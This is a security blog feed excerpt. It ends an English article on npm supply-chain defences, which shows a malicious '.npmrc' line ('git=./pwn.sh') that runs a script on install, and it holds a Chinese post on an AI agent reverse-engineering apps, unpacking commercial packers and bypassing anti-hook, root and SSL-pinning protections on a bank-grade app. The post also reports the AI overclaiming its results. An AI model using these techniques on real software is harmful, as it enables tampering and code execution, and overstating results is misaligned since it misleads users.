Therefore, a malicious git package can simply add a <code>.npmrc</code> with the following content:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">git</span><span class="token operator">=</span>./pwn.sh<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Then, by adding a git sub-dependency, when you install this package, the system will execute <code>pwn.sh</code>, bypassing the original <code>ignore-scripts</code> restriction. You might think that <code>ignore-scripts</code> can prevent any script from running, but that’s not the case.</p><p>At that time, npm stated that this was an intentional design and not considered a vulnerability, but later they did make some changes (which will be mentioned later).</p><h2><span id="blocking-git-and-direct-urls">Blocking git and direct URLs</span></h2><p>Even though we have blocked scripts and added cooldowns, if a package is downloaded from git or a direct URL, we encounter other issues. Therefore, the best approach is to simply block packages from these sources, allowing downloads only from the registry, thus limiting the attack surface.</p><p>Starting from v11, pnpm has set the <a href="https://pnpm.io/settings#blockexoticsubdeps">blockExoticSubdeps</a> parameter to true by default. The <code>Exotic</code> refers to git and direct URLs, while <code>Subdeps</code> refers to “sub-dependencies.”</p><p>In other words, if the package you are installing is itself <code>Exotic</code>, pnpm will not block it. For example, if you directly install xlsx, it will install successfully. However, if you install a package A that requires xlsx, it will fail to install.</p><p>After all, the first-level dependencies are installed by the user themselves, so they should know what they are doing and the risks involved, but many people are unaware of what these sub-dependencies entail, so they are blocked by default.</p><p>Let me demonstrate this for you. If you execute <code>pnpm i n8n</code>, you will see the following error:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p9.png" alt="Error when installing n8n"></p><p>It clearly states that the sub-dependency of n8n, <code>@n8n/instance-ai@1.6.2</code>, also depends on xlsx, but it was blocked due to <code>blockExoticSubdeps</code>.</p><p>Additionally, npm introduced two new parameters, <a href="https://docs.npmjs.com/cli/v11/using-npm/config#allow-git">allow-git</a> and <a href="https://docs.npmjs.com/cli/v11/using-npm/config#allow-git">allow-remote</a>, after version <code>v11.10.0</code>, which can be set to <code>none</code>, <code>root</code>, or <code>all</code>.</p><p>Currently, the default is <code>all</code>, which behaves the same as before, allowing both git and direct URLs. If both are set to <code>root</code>, it will behave like pnpm, allowing only the first-level packages to be from a URL or git.</p><p>According to npm’s <a href="https://github.blog/changelog/2026-02-18-npm-bulk-trusted-publishing-config-and-script-security-now-generally-available/">announcement</a> from February, starting from the next major version v12, <code>allow-git</code> will default to <code>none</code>, disallowing all installations.</p><p>This announcement even mentioned the behavior reported earlier by koi:</p><blockquote><p>Git dependencies—direct or transitive—can include .npmrc files that override the git executable path. This enables arbitrary code execution during install even when using –ignore-scripts. The new –allow-git flag gives you explicit control over this behavior.</p></blockquote><p>Initially, they said this was not a vulnerability and closed the report, but later, in some sense, they still fixed it, as the next major version will not allow git, perhaps not considering this behavior severe enough to be treated as an immediate vulnerability.</p><h2><span id="sincerely-recommending-pnpm-and-my-npm-settings">Sincerely recommending pnpm and my npm settings</span></h2><p>While researching these supply chain attack methods in the JavaScript ecosystem, I can clearly feel that pnpm is more thoughtfully designed, and it blocks what needs to be blocked by default.</p><p>For example, you can directly find a document on <a href="https://pnpm.io/supply-chain-security#block-risky-postinstall-scripts">Mitigating supply chain attacks</a>, which clearly explains the current attack surface and defense methods, essentially covering the few points we mentioned earlier:</p><ol><li>Prevent postinstall scripts  </li><li>Prevent exotic transitive dependencies  </li><li>Delay package updates  </li><li>Use lockfile</li></ol><p>There is also a <code>trustPolicy</code> that hasn’t been mentioned earlier, which is mainly related to releases. If the “trustworthiness” of a release decreases, it will be blocked first, mainly related to the method used during the release and provenance. I haven’t had time to study it, so I won’t discuss it further for now.  </p><p>The defensive measures mentioned above have been automatically handled for you since pnpm v11:  </p><ol><li><code>postinstall</code> and other scripts are disabled by default (this was available earlier, since v10)  </li><li><code>minimumReleaseAge</code> is set to 1 day by default  </li><li><code>blockExoticSubdeps</code> is enabled by default</li></ol><p>For npm, you need to set it up yourself. My current settings are:  </p><pre><code class="ini">ignore-scripts=truemin-release-age=3allow-git=noneallow-remote=none</code></pre><p>If needed, you can adjust it yourself, for example, if you need to use git, you can set <code>allow-git=root</code> and so on.   </p><h2><span id="summary">Summary</span></h2><p>When using a computer in general, everyone knows not to casually download and install software from unknown sources. However, at the same time, some people casually install VSCode extensions, open-source projects from GitHub, or packages used during development, ignoring that these can also cause problems.  </p><p>Developers are often high-value targets, and many developers have various cloud service keys directly on their computers, which could even be production keys. There are also risks when installing packages in CI, where there are usually more high-value tokens that can be stolen. Many attacks start by hacking into a certain package and then using that package to hack into more packages and companies, continuously expanding the scope of the impact.  </p><p>Recently, there have been many supply chain attacks, with one occurring every week or two, and they are quite large in scale. Furthermore, previous supply chain attacks might have targeted a small package, but recent attacks have directly hacked into larger ones (like axios and TanStack, which were directly hacked), rather than starting from those very small sub-packages.  </p><p>I recommend that everyone set up everything that needs to be configured. If using npm, it is:  </p><pre><code class="ini">ignore-scripts=truemin-release-age=3allow-git=noneallow-remote=none</code></pre><p>If using pnpm, just update to the latest version and that’s all. </p><p>If you want to be even safer, you can use the previously mentioned <a href="https://socket.dev/features/firewall">sfw</a> to add an extra layer of protection.  </p><p>Although risks cannot be avoided 100%, at least we can try to minimize them. For even greater safety, you can install packages or even develop entirely within a <a href="https://code.visualstudio.com/docs/devcontainers/containers">dev container</a>, which allows you to control what the environment can access from a lower level, embodying a sandbox concept, but this comes at a higher cost.  </p><p>In summary, I believe it is essential to configure npm properly or switch to pnpm.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;On May 19, 2026, the charting library antv was attacked, and the latest version was embedded with malicious code.&lt;/p&gt;
&lt;p&gt;On May 13, the popular TanStack series repo in the frontend community was also attacked.&lt;/p&gt;
&lt;p&gt;On April 1, axios, which has a hundred million downloads weekly, was similarly attacked, and a malicious version was released.&lt;/p&gt;
&lt;p&gt;It seems that news about supply chain attacks appears every month or even every week, and the targets are not limited to npm; Python’s PyPI, .NET’s NuGet, and even Docker Hub or VSCode extensions used by developers are all targets.&lt;/p&gt;
&lt;p&gt;In this context, how should developers protect themselves?&lt;/p&gt;
&lt;p&gt;This article mainly discusses supply chain attacks targeting npm, starting with the principles, followed by attack techniques and defense strategies.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>從逆向工程重新認識 AI 的強大</title>
    <link href="https://blog.huli.tw/2026/04/18/ai-reverse-engineering-op/"/>
    <id>https://blog.huli.tw/2026/04/18/ai-reverse-engineering-op/</id>
    <published>2026-04-18T02:46:30.000Z</published>
    <updated>2026-04-18T12:03:31.215Z</updated>
    
    <content type="html"><![CDATA[<p>之前寫過一篇<a href="https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/">感謝 AI 讓我這外行人也能做簡單的逆向工程</a>，描述了我怎麼結合 AI agent 跟 ghidra MCP，去逆向一個 Golang binary（stripped），就算結果有點小錯誤，但整體方向都是對的。</p><p>過了快兩個月，這中間我拿 AI 去逆向了更多東西，更多我以為 AI 逆不出來的東西，但 AI 狠狠地打了我的臉，我才是無知的那個。</p><p>這篇記錄一下 AI 能做到的事情，最後聊聊這件事讓我對 AI 的看法有了怎樣的改變。</p><span id="more"></span><h2><span id="精選案例">精選案例</span></h2><p>底下的案例沒有特別講的話，都是 Android 應用程式。</p><h3><span id="案例一cocos2d-遊戲">案例一：Cocos2d 遊戲</span></h3><p>AI 把 apk 拆開後，用 jadx 還原出 Java，發現遊戲邏輯不在裡面。</p><p>觀察一下發現是用 Cocos2d 寫的，assets 底下有大量加密過的 JavaScript 與 JSON 文件，還有個 <code>libcocos2djs.so</code>。</p><p>下一步把 <code>libcocos2djs.so</code> 裡面的符號解析出來，確實看到一些加解密函數，而這個 so 有 35 MB 它覺得太大，所以沒有整包解開，而是選擇從解密的函式開始逆向，識別出加密演算法是 Blowfish。</p><p>接著追了一下誰 call 了設置 key 的函式，把那一段反編譯後還原出了 key，在原始程式碼中是用字串拼接的方式一個一個拼上去的：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">std<span class="token operator">::</span>string key<span class="token punctuation">;</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'7'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x37</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'2'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x32</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x63</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'d'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x64</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>（共 <span class="token number">32</span> 個字元）<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>之所以特別講這個，是因為 AI 在嘗試這個方法之前，先在 code 裡面掃過一次，看有沒有長得很像 key 的字串，但發現沒有。做到這步 AI 就知道因為 key 是一個一個加上去的，所以在 code 裡不連續，沒辦法直接掃出來。</p><p>再來用 Python 寫了個腳本去解密所有資源，最後就拿到了 JavaScript，還原出遊戲邏輯以及 client 端配置。</p><p>這個案例主要是走純靜態分析，AI 光用靜態分析就找到加解密函式以及設置 key 的地方，再反編譯回推出 key 的內容，把加密過的遊戲資源解開。</p><h3><span id="案例二另一個-cocos2d-遊戲">案例二：另一個 Cocos2d 遊戲</span></h3><p>一樣先拆開先 jadx，發現 dex 有加了個殼，不過這個遊戲也觀察出來是 Cocos2d，所以 dex 先放一旁，先看 <code>libcocos2djs.so</code>，從裡面找到一個疑似的 key。</p><p>但因為這個 key 解不了加密的 jsc，所以換別條路，用 Unicorn Engine 去模擬執行這個 so，不過沒進展，跑一跑卡住。</p><p>靜態分析跑不出來，改採動態分析，安裝了 Android 模擬器以及 frida，去 hook 多個參數，<code>Memory.scanSync</code> 跟 <code>fopen</code> 都失敗了，後來也去找了 <code>libcocos2djs.so</code> 導出的函數，發現 <code>xxtea_decrypt</code> 是 public 的，就去 hook <code>xxtea_decrypt</code>。</p><p>把遊戲跑起來之後，就拿到了正確的 key，並且還原出了那些加密後的 jsc 檔案，同樣含有遊戲邏輯與配置。</p><p>跑到這邊之後因為遊戲已經還原，就停止了，我想繼續測試他的能力，於是跟他説：「那你試著脫脫看那個殼吧」，結果那個殼的保護滿弱，跑起來之後 frida-dexdump 一下就把 dex 都 dump 出來了。</p><p>這個案例靜態分析跑不通改採動態分析加上 hook，並且還順便脫了一個殼(雖然殼滿弱的就是了)。</p><h3><span id="案例三unity-遊戲">案例三：Unity 遊戲</span></h3><p>APK 拆開之後有 libil2cpp、libunity 跟 libxlua 三個 so 檔案，猜測核心邏輯在 Lua 層。之後先用 Il2CppDumper 把 global-metadata 拆開，解出一些 C# 檔案跟 DLL，用 ILSpy 反編譯之後發現都是 class，實作是空的（似乎 IL2CPP 本來就是這樣？）</p><p>用 jadx 拆 Java，也都是一些 SDK，沒有遊戲邏輯，於是把心力放在找出 Lua 檔案。</p><p>用 UnityPy 掃所有 asset bundle 的 TextAsset，只找到 4 個 lua 腳本，都不是遊戲核心邏輯。從剛剛拿的 C# 程式碼中找到一些字串，發現遊戲有熱更新系統，用裡面翻到的 URL 跟 AES key 與 IV 嘗試去下載，發現都回 404 載不下來。</p><p>後來轉向再回去 asset bundle 找，找到一個 bundle 裡面有 3000 個 TextAsset（第一次沒檢查到），從檔名確認是加密的 Lua 腳本。</p><p>接著觀察發現這些檔案有許多前 6 個 byte 一樣，猜測是 Lua 5.3 編譯後的 bytecode 開頭，用 XOR 反推回 key 發現解不開。然後又嘗試了幾種不同的加密法，各種 AES 的模式，還是解不開。</p><p>再來去反編譯 libil2cpp，看到解密的過程是用 XOR 沒錯，然後密鑰是 6 個 byte 不斷重複。在 C# 裡面跟 global-metadata 用靜態的方式都找不到，到這邊卡關，由我介入。</p><p>我就問他說：「你動態分析會不會比較快？」</p><p>AI 給了兩個方案，一個 Frida hook，一個 Unicorn 模擬，我選後者，結果 AI 在寫腳本的時候，神來一筆地用別的方法破解了。他說他觀察那些文件，發現有一半前 54 個 bytes 都一樣，而且是 6 個 bytes 不斷重複，<code>c3 70 43 22 34 a6</code>。</p><p>如果 key 是 6 個 bytes 重複 XOR，那密文重複代表明文也重複，什麼 Lua 文件開頭會有這麼多完全相同的字元？</p><p>AI 大膽的猜測：「註解」，Lua 的註解是 <code>--</code> 開頭，很多框架的習慣是開頭放 <code>-----</code> 一段長長的註解當分隔線。然後他就以這個假設為基礎， XOR 了一下拿到 key，再去解密 Lua 腳本，發現全部解開了，解出來直接是可讀的原始碼。</p><p>這個案例的關鍵在於 AI 是懂觀察的，而且會運用許多手段試著去解密，底下是 AI 在解這個案例時的流程，可以看到中間嘗試過許多方法但都走不通，不通就換下一個方法：</p><pre class="line-numbers language-none"><code class="language-none">XAPK 解包  ↓Il2CppDumper + ILSpy + JADX  ← 標準流程，沒什麼問題  ↓UnityPy 掃描 → 只有 4 個工具腳本  ← 以為核心邏輯在服務器  ↓找 AppConfig → 拿到 CDN 地址和 AES Key  ↓嘗試下載 → 全部 404  ← 死胡同  ↓重新檢查 AssetBundle → 找到加密文件！  ↓觀察密文 → 發現 6 bytes 重複模式  ↓❌ 錯誤假設：Lua bytecode → 推導出錯誤的密鑰流  ↓❌ 嘗試 AES-CBC&#x2F;ECB&#x2F;OFB&#x2F;CTR&#x2F;CFB → 全不匹配❌ 嘗試 RC4 → 不匹配❌ 嘗試 .NET Random（10K seeds）→ 不匹配  ↓逆向 libil2cpp.so → 確認是簡單重複 XOR（不是流密碼）  ↓❌ 嘗試靜態找 ENCRYPT_BYTES → 走不通❌ 嘗試 metadata defaultValues → 走不通❌ 嘗試 ELF GOT&#x2F;RELA → 太深  ↓ 回頭看密文特徵 → 1500 個文件共享 62 bytes 前綴  ↓💡 假設明文是 &#39;-&#39;(0x2d) 重複 → XOR 得到 key → 解密成功！<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="案例四另一個-unity-遊戲">案例四：另一個 Unity 遊戲</span></h3><p>跟上一個拆開來類似，一樣發現是 Unity + Lua，但這次解密方法比較簡單，把 C# 的 dump 出來之後，用 encypt 當關鍵字去找，直接在裡面找到 LuaEncryption 的 key，以及自定義的 asset bundle offset，要跳過前 12 個 bytes。</p><p>接下來就跳過 12 個 bytes，然後用 key 去 XOR，得到了 Lua 的 bytecode（這次就是 bytecode 了不是原始碼），拼接起來變成一個大的 asset。</p><p>接下來 AI 寫了個 Python 腳本：</p><ol><li>跳過前 12 bytes 自定義頭部</li><li>掃描所有 <code>UnityFS\x00</code> 標記的位置</li><li>按偏移量切割成獨立的 bundle</li><li>對每個 bundle 用 UnityPy 解析</li><li>提取所有 <code>.lua.bytes</code> 文件</li><li>對每個文件用 key 去 XOR 解密</li></ol><p>就拿到 7000 多個 Lua JIT bytecode，然後全部丟到 ljd 去解回來，拿到可讀性高許多的 Lua 原始碼，總共 1000 萬行。</p><p>這案例跟第一個類似，靜態分析就全部搞定了，直接找到加密的 key 以及模式，把資源全部都解回來。</p><h3><span id="案例五混淆過的-app">案例五：混淆過的 App</span></h3><p>這個就是一般常見的稍微做過保護的 App，Java 層做了混淆讓你不容易還原，然後加解密相關邏輯都放 so 檔案裡面用 JNI 去使用，在送出 request 時會經過一些加密外加 signature，只要破解不了演算法就沒辦法離開 App 使用。</p><p>AI 拆開來發現混淆過後，自己寫了個反混淆的腳本，把幾個核心的 class 名稱還原了出來，接著開始逆向 so 那一段，基於 capstone + lief 反組譯 arm64-v8a 版本，還原為 pseudo-C。</p><p>有了這些程式碼之後就能進一步分析，最後把裡面的加解密演算法外加 key 都還原了出來。</p><p>所以混淆歸混淆，AI 可以經過觀察後得出一些方法想辦法還原。就算沒有還原，AI 讀混淆過後的程式碼也比人厲害得多。</p><h3><span id="案例六加殼過的銀行等級-app">案例六：加殼過的銀行等級 App</span></h3><p>上面這些試完之後，我決定來挑戰大魔王：銀行等級的 App。</p><p>銀行通常對於資安的要求比較嚴格，所以鐵定會有一堆加解密、混淆與加殼，還有各種防 root 與防 hook 機制，因此「銀行等級」指的是類似的規格。</p><p>目標很明確，就是要能做到在 root 過的模擬器上打開 App，並且可以 hook 看到請求內容，做到這些代表裡面的保護機制都被繞過了。</p><p>這個銀行等級的 App 是加了俗稱的商業殼（意思就是某一間公司特別做的殼，這種商業方案的殼都滿貴的，一年可能要幾十萬台幣），主要邏輯都在一個 so 檔裡面。</p><p>AI 先用 <code>objdump -h</code> 看 section headers，發現兩個非標準 section，然後 <code>.text</code> 裡面一半以上都是加密的沒辦法反組譯，<code>.rodata</code> 也是完全加密，但從其他線索中已經推斷出是哪間的殼。</p><p>接著 AI 開始試著把 so 的殼先脫掉，先亂試了幾個方法都失敗，例如說想要暴力破解 key 之類的。</p><p>幾種方法都失敗後，開始先解一些能解出來的地方，試了幾個方法後知道了殼的運作，成功脫殼。</p><p>脫殼之後，就看得到裡面有什麼東西以及保護措施了，在 native 層有這些保護措施：</p><ul><li>反注入偵測：掃描 <code>/proc/self/maps</code> 尋找 <code>frida-agent</code>、<code>frida-gadget</code> 等記憶體映射</li><li>執行緒名稱掃描：讀取 <code>/proc/self/task/*/comm</code> 尋找 <code>pool-frida</code> 等 Frida 特徵執行緒</li><li>反 debug：<code>ptrace(PTRACE_TRACEME)</code> 自我附加，阻止 debugger</li><li>字串比對：透過 <code>strstr</code>、<code>strncmp</code> 等函式在記憶體中搜尋 Frida 關鍵字</li><li>SO 加殼：<code>.text</code> 段加密，runtime 動態解密，無法靜態分析</li></ul><p>在 Java 層則有這些：</p><ul><li>Root 偵測：<code>File.exists()</code> 檢查 su、magisk、supersu 等路徑</li><li>模擬器偵測</li><li>SystemProperties 偵測</li><li>anti-debug</li><li>SSL Pinning</li></ul><p>繞過方式是搶先一步去 hook 各種方法，讓它都偵測不到，然後 native 層會把結果傳給 Java，在那邊去 patch 也行。既然都知道有哪些偵測手段了，就可以根據這些手段去做相對應的處理。</p><p>至於 Java 層的混淆，AI 觀察之後寫了個 1000 行的 Python 腳本根據各種規則去把字串還原，得到可讀性高的字串。</p><p>總之呢，最後成功了，App 打得開，可以 hook 到請求內容，保護措施全部都被繞過了。</p><h3><span id="案例七加殼過的遊戲">案例七：加殼過的遊戲</span></h3><p>自從知道 AI 也能脫殼以後，我就覺得說不定沒什麼是 AI 解不開的了，於是再找一個加殼過的遊戲。</p><p>這個遊戲的難度就比之前高了，他一樣是用了某個商業殼，而且做了雙層加密，他的 dex 先用一個 so 加密，然後這個 so 再用另一個 so 加密，而這個入口點的 so 本身又加了殼，不讓你破解。</p><p>我試了一天讓 AI 去試，最後都沒試出什麼結果，就算網路上有找到其他已經脫殼過的文章，他還是沒有完全試出來，so 的殼沒有脫掉，碰到了一些障礙。</p><p>但是呢，我讓 AI 換個方向之後，他發現這 Unity 遊戲其實主要邏輯放在 Lua，而 Lua 的資源雖然有加密，但是觀察加密過的 hex 之後，很快就觀察到是什麼模式，然後弄著弄著就解開了。</p><p>所以雖然 Java 層的那些程式碼沒有完全解開，殼也沒有脫掉，但總之核心的遊戲邏輯是拿到了。</p><p>這樣應該也算是成功吧？再給 AI 更久的時間、更多參考資料以及更多好用的工具，要把那個殼脫掉我認為也是辦得到的。</p><h2><span id="我的-ai-使用方式與花費">我的 AI 使用方式與花費</span></h2><p>我用的是 Cursor 搭配 Claude Opus 4.6 high thinking，沒有裝任何 skill，而且 prompt 也很簡單：</p><blockquote><p>xxx 資料夾底下有個 apk，把它逆向還原，要還原成原始碼</p></blockquote><p>中途如果他碰到一些東西卡住，我會給他一些指示，例如說碰到加殼的時候：</p><blockquote><p>他怎麼做到無法靜態分析的，怎麼個加密法，什麼時候會解密？你試試看能不能脫殼解開</p></blockquote><p>有時候會給一些更明確的指示：</p><blockquote><p>我們先 plan 一下之後要做的事，我待會要去睡了</p><ol><li>.so 還原成 C</li><li>查看 apk 還有什麼其他保護，該怎麼破解</li><li>java 從混淆過的程式碼還原，至少要知道邏輯，或是觀察哪些  pattern 知道是 android 自己的 lib</li></ol><p>主要就這幾個任務，我想要你對這個 apk 的保護方式瞭若指掌，彷彿有 source code 一樣，然後想出破解方法</p></blockquote><p>我權限都開給他了，所有工具都是他自己裝的。他通常會先嘗試靜態分析，當他卡很久的時候，我就會讓他切換到動態分析，裝 Android 模擬器搭配 Frida hook。</p><p>我會觀察 AI 在做什麼，如果我覺得他太偏離方向，我會主動中斷並給他建議（但滿少發生的）。在 AI 做完之後，我會讓他總結一下他做了什麼，卡在哪裡，又是怎麼解決的。</p><p>在逆向了許多 app 之後，我會把這些經驗總結成 skill，下次速度就能更快。</p><p>每個 App 逆向還原的時間不一定，但大多數都在 30 分鐘左右，花的 token 沒有詳細計算，但總之在 Cursor 的計費下，逆向一個 App 花不到 5 塊美金。</p><p>不過我也有用 Claude Code 試了一下，有一個 Unity 的遊戲花了 4000 萬個 token，換算成錢大約 27 塊美金。</p><p>因此，比較公正的說法，如果純看 token 用量來說，我猜平均落在 30 塊美金上下。至於為什麼用 Cursor 會這麼便宜，我也不知道，明明是相同的模型。</p><h2><span id="ai-的不足之處">AI 的不足之處</span></h2><p>雖然說能解的都解開了，但有些只是你以為他有解開，其實根本沒做好。</p><p>舉個例子，遊戲的 APK 解開後他通常會用一些工具把 DLL 檔案拿出來，然後還原成 C#。通常我給的指示是「還原出原始碼」，但有時候他只有還原到 interface，只有方法的定義跟參數，並沒有實作的邏輯。</p><p>接著就是容易被 AI 騙的地方了，就算他只有 interface，也能根據這些命名跟結構自己猜運作邏輯，所以你讓他寫一份報告去分析有哪些東西，他也能寫得頭頭是道。</p><p>若是沒有再去追問細節，你會以為他真的還原出原始碼了，但其實不然。</p><p>這是個非常需要小心的地方，我之後每次都會追問他：「所以你有拿到原始碼了嗎？看一下登入系統的實作吧，要能看到實作才算數」，逼迫他再做更深一點，把我想要的東西還原出來。</p><p>這個確認的過程是很重要的，少了這一步就不完整了，就會被 AI 欺騙。反之，若是有好好確認，AI 的產出一定會讓你滿意。</p><h2><span id="一些心得">一些心得</span></h2><h3><span id="原來是我限制了-ai">原來是我限制了 AI</span></h3><p>我之前對 AI 的認知是：「逆向一些小東西絕對沒問題，但應該沒辦法脫殼吧」，但後來 AI 打我臉，跟我說我錯了。</p><p>那時我才意識到，我才是 AI 的限制器。</p><p>我明明沒有試過，但卻覺得 AI 辦不到。以前在軟體開發時我也會有類似的想法，某些工作之所以自己來，是因為我覺得 AI 辦不到。例如說需要同時改多個專案啦，或者是某個比較大的功能，需要對整體架構都很了解，我就會覺得 AI 辦不到，不如我自己來。</p><p>但後來我開始把越來越多 task 交給 AI，才發現大部分他都辦得到，再次印證了我才是 AI 的限制器。難怪之前有人說在某些領域，不懂的人用 AI 反而用的比較好，因為你不會先去假設 AI 做不到就不給他，而是什麼都讓他去是，做不到再說。</p><p>講回 AI 逆向這件事情，我看了 AI 逆向這麼多個 app 的流程，發現本質上都是一樣的，那就是做各種嘗試並觀察輸出，再從輸出中去改善，或是換個方法做事。</p><p>例如說 Frida hook 好了，如果 hook 失敗，他會根據 error log 去改。若是 hook 以後 app 自己關掉，他會更改 hook 的時機，或者是去測到底哪一段被偵測到，接著做出改動。</p><p>或許，只要你能給 AI 一個讓他發揮的環境，並確保他能看到足夠的 log 而且驗證對錯，再給他夠多的時間，沒有什麼是逆向不出來的。我後來也試了 desktop app，試了 wasm，都是可以的。</p><p>就算是加殼，只要讓 AI 去觀察去追蹤，就像人類逆向的流程那樣，他也能慢慢觀察、動手，再根據結果去調整，然後再試一次，再試無數次，直到成功為止。</p><p>雖然說我原本就知道 AI 強，但其實沒想到已經強到這種地步。如同我以前<a href="https://blog.huli.tw/2023/04/27/android-apk-decompile-intro-1/">寫過的</a>，逆向工程我會一點點皮毛，但到了 native 那一層就完全不行了，而 AI 已經超越了我的能力，做出了那些我做不到的事，甚至做出了「我以為他做不到」的事。</p><p>經歷過這次探索之後，我對 AI 的能力徹底改觀了，並且對「AI 取代軟體工程師」這件事情有了更多的思考。假設我上面說的那段「沒有什麼是逆向不出來的」是對的，那這是否也能運用在軟體開發上？如果 AI 可以自己規劃、寫程式、測試並驗證結果，那是不是讓他一直跑，可以做出一個完整的應用程式，而且品質還很好？</p><p>這個話題我們留到之後聊吧，還有其他角度可以一起探討。</p><h3><span id="攻防的平衡">攻防的平衡</span></h3><p>只要是 client 端的東西，都是沒有秘密的。</p><p>混淆也好，加殼也好，都只是延緩被還原的時間，只要付出的時間夠多，你所有程式碼都是在 client 跑的，因此所有東西都能還原。</p><p>因此，許多防禦手法都建立在「增加難度延長破解時間」這點上面。我們都知道 client 沒有秘密，但有些在 client 端的東西，我們還是想盡量守護，讓還原的難度變高。</p><p>所以守方把程式碼混淆，讓變數變成一堆難以閱讀的文字，甚至是把常數加密，要執行才能解開，也是不想讓你這麼容易看到明文。加殼也是一樣，不希望這麼容易看到裡面到底在跑什麼，而 anti-debug 也是不希望你 root，不希望你 hook，不希望你 debug，所以試著去偵測各種逆向工具是否存在。</p><p>而攻方就是花時間去反向推回你原本的邏輯，靠著經驗加速，知道這個模式看起來是 AES，這個看起來是 XOR，這個模式以前出現過，應該怎麼破解等等。只要守方稍微調整一下，就算只是一點，最後產出來的東西也可能完全不同，攻方需要從頭再來一次。</p><p>但是 AI 逆向變得這麼強以後，立場會不會開始反過來？攻方花這麼多時間弄出來的殼，結果 AI 一個小時就脫掉了。想了這麼多混淆的辦法，自己實作了一套新的演算法，結果 AI 看一看就寫了個反向腳本，全部組裝回去。</p><p>若是守方要跟上，或許需要用魔法對付魔法，用 AI 來加殼，每次加殼都換一種全新的方法或是模式，而且不是簡單的更換，是讓 AI 讓它變得更複雜，才能確保攻方需要從頭開始。</p><p>但儘管如此，在 AI 面前，會不會又只花了一兩小時就解開了？我不知道。</p><h2><span id="總結">總結</span></h2><p>我不是什麼逆向工程專家，因此對於 AI 在這領域的影響不多加評論。但至少對我這個不太會逆向的人來說，AI 已經幾乎完全滿足我對逆向工程的需求，桌面應用可以逆，APK 可以逆，WASM 可以逆，殼可以脫，加密可以解。</p><p>對於 binary 的逆向，雖然有時需要我協助打開 Ghidra，幫他裝好 Ghidra MCP，但這都是小事。</p><p>經過此次一役，見識到了 AI 的能力之後，我已經臣服於 AI。</p><p>有沒有什麼是 AI 解不開的？或許有，像我上面提的案例七其實就沒解開，他只是換個方式拿到我想要的東西，並沒有把 APP 全部都還原。但除了這個以外，他每一個都確實解開了（話說我很好奇 AI 能不能解開 HybridCLR 的<a href="https://www.hybridclr.cn/docs/business/basicencryption">商業殼</a>，但我還沒碰過用這個商業版本的）。</p><p>有沒有可能 AI 逆向被我講得好像很強，實際上在專業人士眼中沒這麼厲害？也有這個可能，畢竟我拆過的東西，看雪（中國有名的逆向社群）那邊的大大們都拆的出來，甚至有些東西已經被人拆過且分享了心得，AI 有參考到。</p><p>但總之，這篇文章的初衷是想記錄一下我體驗完 AI 逆向工程的心得，就三個字：「太神啦！」，這次體驗完，徹底影響我對 AI 能力的看法。</p><p>而且不是「AI 輔助逆向工程」，是全 AI 逆向工程，工具他自己裝，分析他自己分析，反組譯他自己反，我只會在旁邊靠北說：「你應該解得開吧，再試試」。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前寫過一篇&lt;a href=&quot;https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/&quot;&gt;感謝 AI 讓我這外行人也能做簡單的逆向工程&lt;/a&gt;，描述了我怎麼結合 AI agent 跟 ghidra MCP，去逆向一個 Golang binary（stripped），就算結果有點小錯誤，但整體方向都是對的。&lt;/p&gt;
&lt;p&gt;過了快兩個月，這中間我拿 AI 去逆向了更多東西，更多我以為 AI 逆不出來的東西，但 AI 狠狠地打了我的臉，我才是無知的那個。&lt;/p&gt;
&lt;p&gt;這篇記錄一下 AI 能做到的事情，最後聊聊這件事讓我對 AI 的看法有了怎樣的改變。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>Reunderstanding the Power of AI Through Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/04/18/en/ai-reverse-engineering-op/"/>
    <id>https://blog.huli.tw/2026/04/18/en/ai-reverse-engineering-op/</id>
    <published>2026-04-18T02:46:30.000Z</published>
    <updated>2026-04-18T12:22:56.016Z</updated>
    
    <content type="html"><![CDATA[<p>Previously, I wrote a post titled <a href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/">Using AI to Do Simple Reverse Engineering</a>, describing how I combined an AI agent with Ghidra MCP to reverse engineer a stripped Golang binary. Although there were some minor errors in the results, the overall direction was correct.</p><p>Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.</p><p>This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.</p><span id="more"></span><h2><span id="selected-cases">Selected Cases</span></h2><p>The following cases are all Android applications unless otherwise specified.</p><h3><span 